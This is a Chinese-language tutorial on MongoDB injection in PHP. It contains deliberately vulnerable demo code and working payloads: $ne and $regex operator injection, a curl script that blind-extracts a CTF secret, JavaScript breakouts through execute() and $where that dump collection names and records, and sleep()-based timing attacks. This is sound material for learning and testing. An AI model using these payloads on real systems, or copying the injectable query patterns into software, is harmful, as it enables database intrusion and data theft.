Mongodb注入攻击

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0x01 概括

php下操作mongodb大致有以下两种方式

1.用mongo类中相应的方法执行增查减改 比如：

  1. <?php
  2.  
  3. $mongo = new mongoclient();
  4.  
  5. $db = $mongo->myinfo; //选择数据库
  6.  
  7. $coll = $db->test; //选择集合
  8.  
  9. $coll->save();    //增
  10.  
  11. $coll->find();    //查
  12.  
  13. $coll->remove();    //减
  14.  
  15. $coll->update();    //改

此时，传递进入的参数是一个数组。

2.用execute方法执行字符串 比如：

  1. <?php
  2.  
  3. $mongo = new mongoclient();
  4.  
  5. $db = $mongo->myinfo; //选择数据库
  6.  
  7. $query = "db.table.save({'newsid':1})";    //增
  8.  
  9. $query = "db.table.find({'newsid':1})";    //查
  10.  
  11. $query = "db.table.remove({'newsid':1})";    //减
  12.  
  13. $query = "db.table.update({'newsid':1},{'newsid',2})";    改
  14.  
  15. $result = $db->execute($query);

此时，传进方法execute的参数就是字符串变量$query，此时的字符串书写语法为js的书写语法。

对于以上两种不同执行方式，有不同的注入攻击方式。

0x02 注入攻击

0.在攻击前，我们需要先建立一个集合，作为攻击的基础。

用户test是攻击者已经知道账号密码的一个测试账号，其他账号的话密码随机。想通过注入获取其他账号的密码。

1.数组绑定时的注入

一个数组绑定的查询demo如下：

  1. <?php
  2. $mongo = new mongoclient();
  3. $db = $mongo->myinfo; //选择数据库
  4. $coll = $db->test; //选择集合
  5. $username = $_GET['username'];
  6. $password = $_GET['password'];
  7. $data = array(
  8.         'username'=>$username,
  9.         'password'=>$password
  10.         );
  11. $data = $coll->find($data);
  12. $count = $data->count();
  13. if ($count>0) {
  14.     foreach ($data as $user) {
  15.         echo 'username:'.$user['username']."</br>";
  16.         echo 'password:'.$user['password']."</br>";
  17.     }
  18. }
  19. else{
  20.     echo '未找到';
  21. }
  22. ?>

此时的攻击利用了php可以传递数组参数的一个特性。

当传入的url为：

  1. http://127.0.0.1/2.php?username=test&password=test

执行了语句：

  1. db.test.find({username:'test',password:'test'});

如果此时传入的url如下:

  1. http://127.0.0.1/2.php?username[xx]=test&password=test

则$username就是一个数组，也就相当于执行了php语句：

  1. $data = array(
  2. 'username'=>array('xx'=>'test'),
  3. 'password'=>'test');

而mongodb对于多维数组的解析使最终执行了如下语句：

  1. db.test.find({username:{'xx':'test'},password:'test'});

利用此特性，我们可以传入数据，是数组的键名为一个操作符（大于，小于，等于，不等于等），完成一些攻击者预期的查询。

如，传入url:

  1. http://127.0.0.1/2.php?username[$ne]=test&password[$ne]=test

结果如图

因为传入的键名$ne正是一个mongodb操作符，最终执行了语句：

  1. db.test.find({username:{'$ne':'test'},password:{'$ne':'test'}});

这句话相当于sql:

  1. select * from test where username!='test' and password!='test';

直接便利出所有集合中的数据。

如果此时的用户名与密码不能回显，只是返回一个逻辑上的正误判断。那么我们可以采用$regex操作符来一位一位获取数据。

案例演示：http://121.40.86.166:23339/，这是hctf中的一道题目。

猜测其php代码大概如下

  1. <?php
  2. $mongo = new mongoclient();
  3. $db = $mongo->myinfo; //选择数据库
  4. $coll = $db->test; //选择集合
  5. $lock = $_POST['lock'];
  6. $key = $_POST['key'];
  7. if (is_array($lock)) {
  8.     $data = array(
  9.         'lock'=>$lock);
  10.     $data = $coll->find($data);
  11.     if ($data->count()>0) {
  12.         echo 'the lock is right,but wrong key';
  13.     }else{
  14.         echo 'lock is wrong';
  15.     }
  16. }else{
  17.     if ($lock == 'aabbccdd'&&$key=='aabbccdd') {
  18.         echo 'Your flag is xxxxxxx';
  19.     }else{
  20.         echo 'lock is wrong';
  21.     }
  22. }
  23. ?>

这样的话，因为只有“正确”或者“错误”两种回显，我们只能通过正则判断来一位一位读取lock的内容了。

对于该题的利用payload如下：

  1. <?php
  2. $ch=curl_init();
  3. curl_setopt($ch,CURLOPT_URL,'http://121.40.86.166:23339/');
  4. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  5. curl_setopt($ch,CURLOPT_POST,1);
  6. $ori = '0123456789abcdefghijklmnopqrstuvwxyz';
  7. $str = '';
  8. for ($i=0; $i <10 ; $i++) {
  9.     for ($j=0; $j <strlen($ori) ; $j++) {
  10.         $post = 'key=1&lock[$regex]=^'.$str.$ori[$j];
  11.         curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
  12.         $data=curl_exec($ch);
  13.         if (strlen($data) == 319) {
  14.            $str.=$ori[$j];
  15.            echo $str."\r\n";
  16.            break;
  17.         }
  18.     }
  19. }
  20. ?>

结果如图：

相当于在数据库中多次执行查询:

  1. db.test.find({lock:{'$regex':'^a'}}); 
  2. db.test.find({lock:{'$regex':'^b'}}); 
  3. db.test.find({lock:{'$regex':'^c'}}); 
  4. db.test.find({lock:{'$regex':'^ca'}}); …… …… 
  5. db.test.find({lock:{'$regex':'^aabbccdd'}});

最终全部猜出字符串的内容,相似与sql注入中的盲注。

2.拼接字符串时的注入

因为字符串的拼接方式多种多样，不同程序员也有不同的书写习惯。

本文中仅举几个demo为例。

  1. <?php
  2. $username = $_GET['username'];
  3. $password = $_GET['password'];
  4. $query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
  5. //$query = "return db.test.findOne();";
  6. //echo $query;
  7. $mongo = new mongoclient();
  8. $db = $mongo->myinfo;
  9. $data = $db->execute($query);
  10. if ($data['ok'] == 1) {
  11.     if ($data['retval']!=NULL) {
  12.         echo 'username:'.$data['retval']['username']."</br>";
  13.         echo 'password:'.$data['retval']['password']."</br>";
  14.     }else{
  15.         echo '未找到';
  16.     }
  17. }else{
  18.     echo $data['errmsg'];
  19. }
  20. ?>

攻击方式：

  1. http://127.0.0.1/1.php?username=test'&password=test


报错， 想办法闭合语句。

  1. http://127.0.0.1/1.php?username=test'});return {username:1,password:2}//&password=test

该语句能返回一个数组，username键值是1，password键值是2.


爆mongodb版本

  1. http://127.0.0.1/1.php?username=test'});return {username:tojson(db.getCollectionNames()),password:2};//&password=test

爆所有集合名

PS:因为db.getCollectionNames()返回的是数组，需要用tojson转换为字符串。并且mongodb函数区分大小写。


爆test集合的第一条数据

  1. http://127.0.0.1/1.php?username=test'});return {username:tojson(db.test.find()[0]),password:2};//&password=test


爆test集合的第二条数据


因为execute方法支持多语句执行，所以可以执行太多语句了，不演示~


当然，有时可能遇到没有输出返回数据，这时候怎么办呢？在高版本下，添加了一个函数sleep()，就是时间盲注咯~

PS:在高版本下，貌似不能用注释语句，此外高版本还有一个新特性就是默认开启错误回显。笔者尝试没有注释成功，只能用闭合的方法。

  1. http://127.0.0.1/1.php?username=test'});if (db.version() > "0") { sleep(10000); exit; }var b=({a:'1&password=test


成功延时了十秒。


在Mongdb中可以使用$where操作符。相当于sql语句中的where限制语句。mongodb中的$where操作符常常引入一个js的函数来作为限制条件，当js函数中的字符串存在未过滤的用户输入时，注入就产生了。

  1. <?php
  2. $mongo = new mongoclient();
  3. $db = $mongo->myinfo; //选择数据库
  4. $coll = $db->news; //选择集合
  5. $news = $_GET['news'];
  6. $function = "function() {if(this.news == '$news') return true}";
  7. echo $function;
  8. $result = $coll->find(array('$where'=>$function));
  9. if ($result->count()>0) {
  10.     echo '该新闻存在';
  11. }else{
  12.     echo '该新闻不存在';
  13. }
  14. ?>

为了测试，我建立了两个集合，一个是news集合，查询过程中存在注入。另一个是user集合，我们要注入得到其中的数据。

代码中的this.news指的就是表中的news栏（字段），上面的代码翻译成sql语句就是：

  1. select * from news where news='$news'

注入方式可以参考如下：

  1. http://127.0.0.1/3.php?news=test

返回正常

  1. http://127.0.0.1/3.php?news=test'

返回错误

  1. http://127.0.0.1/3.php?news=test'%26%26'1'=='1 //%26=&

返回正常

  1. http://127.0.0.1/3.php?news=test'%26%26'1'=='2

返回错误

至此检测出注入，开始获取数据。

  1. http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames().length>0%26%26'1'=='1

返回正常，集合数大于0

  1. http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames().length==5%26%26'1'=='1

返回正常，集合数等于5


获取集合名称

  1. http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0].length==6%26%26'1'=='1

返回正常，第一个集合名称长度为6

  1. http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0][0]>'a'%26%26'1'=='1

返回正常，第一个集合名称第一个字符大于a

  1. http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0][0]=='m'%26%26'1'=='1

返回正常，第一个集合名称第一个字符为m


最终可以破解出存在user集合。

查user集合中的第一条数据。

  1. http://127.0.0.1/3.php?news=test'%26%26tojson(db.user.find()[0])[0]=='{'%26%26'1'=='1

因为db.user.find()返回的不是一个字符串，无法取出字符进行比较，我们可以将它转化成一个json字符串，就可以比较了。 道理讲明白了，剩下的都是体力活，用python或者php写下小脚本就能实现自动化。

0x03 Referer

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